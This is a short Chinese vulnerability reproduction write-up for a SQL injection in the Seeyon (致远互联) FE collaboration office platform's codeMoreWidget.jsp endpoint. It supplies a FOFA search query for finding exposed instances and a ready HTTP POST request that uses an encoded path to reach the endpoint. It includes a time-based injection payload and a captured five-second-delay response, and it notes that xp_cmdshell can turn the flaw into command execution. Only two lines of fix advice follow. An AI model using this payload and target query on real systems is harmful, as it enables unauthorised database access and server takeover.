

Z13-1致远-互联FE协作办公平台-SQL

漏洞描述:

致远互联FE协作办公平台 codeMoreWidget.jsp接口处存在SQL注入漏洞,未经授权攻击者通过利用SQL注入漏洞配合数据库xp_cmdshell可以执行任意命令,从而控制服务器。经过分析与研判,该漏洞利用难度低,建议尽快修复。

网站图片:



[工具下载](#) | [移动客户端下载](#) | [关于](#)

fofa语法:

```
body="li_plugins_download"
```

漏洞复现:

payload:

```
POST /common/codeMoreWidget.js%70 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
```

```
code=1';WAITFOR DELAY '0:0:5'--
```

效果图:

Request

< > 数据包扫描 美化 热加载 构造请求

```
1 POST /common/codeMoreWidget.js%70 HTTP/1.1
2 Host : 
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
83.0.4103.116 Safari/537.36
4 Content-Type: application/x-www-form-urlencoded
5 Connection: close
6
7 code=1';WAITFOR DELAY '0:0:5'--
```

Responses 742 bytes / 5057ms

```
1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 X-Powered-By: Servlet/2.4
date=200605151000)/Tomcat
4 Set-Cookie: JSESSIONID=91
5 Content-Type: text/html;
6 Date: Sat, 29 Jun 2024 02
7 Connection: close
8 Content-Length: 821
9
10 <html>
11 <link type="text/css" h
12 <link type="text/css" h
13 <link type="text/css" h
14 <script language="JavaS
15 <script language="JavaS
16 <script>
17 <function> JumpToPage(p
18 <document.forms[0].c
19 <alert(document.fo
20 <if (document.all.ke
21 <document.all.key.
22 <
23 <if (
24 <document.forms[0]
25 <document.forms[0]
26 <
27 <document.forms[0]
28 <document.forms[0].s
29 <-->
```

延时5秒

修复建议：

关闭互联网暴露面或接口设置访问权限

升级至安全版本